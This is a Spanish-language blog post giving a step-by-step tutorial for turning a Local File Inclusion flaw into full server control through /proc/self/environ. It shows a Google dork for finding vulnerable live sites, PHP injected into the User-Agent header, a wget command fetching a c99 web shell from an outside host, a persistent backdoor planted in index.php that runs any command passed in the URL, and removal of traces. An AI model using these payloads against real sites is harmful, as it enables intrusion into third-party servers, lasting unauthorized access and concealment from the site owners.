Nuevas Entradas

Explotar LFI /proc/self/environ



En esta entrada analizaremos una forma poco conocida para llegar de un Local File Inclusion a la Shell a traves de el fichero /proc/self/environ

Empecemos:

Primero buscamos utilizando google dorks alguna web vulnerable a LFI

Dork:

inurl:*.php?page=* site:.com.ar


Probamos que al incluir /etc/passwd nos muestra su contenido

http://sitiovulnerable/index.php?page=/etc/passwd




Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado

http://sitiovulnerable/index.php?page=/proc/self/environ


Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data:

Damos click en Start Tamper y volvemos a realizar la petición al sitio web

Atrapa el primer "paquete" y nos sale el siguiente cartel



Desactivamos la casilla "Continue Tampering" y Damos Click en Tamper, modificamos el parametro User-Agent intrudiciendo código php

<?php System('ls'); ?>


para ver si logramos listar el contenido de host.


Confirmamos y vemos q el codigo php se ejecuta correctamente y lista los archivos y directorios de la web Vulnerable:



Ahora sabemos que se puede ejecutar Codigo bash por medio de este LFI con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)

Subiremos nuestra Shell, de la siguiente forma.

Abriremos Tamper Data y comenzaremos a Capturar.
Repetiremos la peticion al host:

http://sitiovulnerable/index.php?page=/proc/self/environ

Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php

<?php system('wget http://SitioDeLaShell/shell.txt'); ?>



Repetimos la operación con Tamper Data y comprobamos q nuestra shell se subío correctamente pasando como parametro en User-Agent

<?php system('ls'); ?>


Vemos que dentro de la lista de archivos del host aparece nuestra shell



Convertiremos nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como parametro de User-Agent

<?php system('mv c99.txt s.php'); ?>


Una ves hecho esto repetimos el procedimiento con Tamper Data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:

<?php system('ls'); ?>




Como vemos el archivo fue renombrado correctamente, solo nos queda vistar nuestro archivo por medio de la URL

http://sitiovulerable/s.php


Como vemos la ejecucion de la shellphp, se ejecuto correctamente.
Para mantener el acceso planteremos backdoor dentro del codigo de algun archivo, yo elegi el index.php

Backdoor:

<?php
if($_GET['active']=='si'){
system( $_GET['c']);
}
?>



Lo Introduciremos dentro de index.php y al llamarlo desde

http://SutioVulnerable/index.php?c=ls&active=si

nos mostrara el resultado de la ejecución del parametro q pasemos.



Solo nos queda eliminar s.php con el comando rm s.php por medio de nuestro Backdoor

http://SutioVulnerable/index.php?c=rm s.php&active=si

Listamos el Contenido del Host

http://SutioVulnerable/index.php?c=ls&active=si

y vemos que s.php ha desaparecido.



Happy Hacking!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates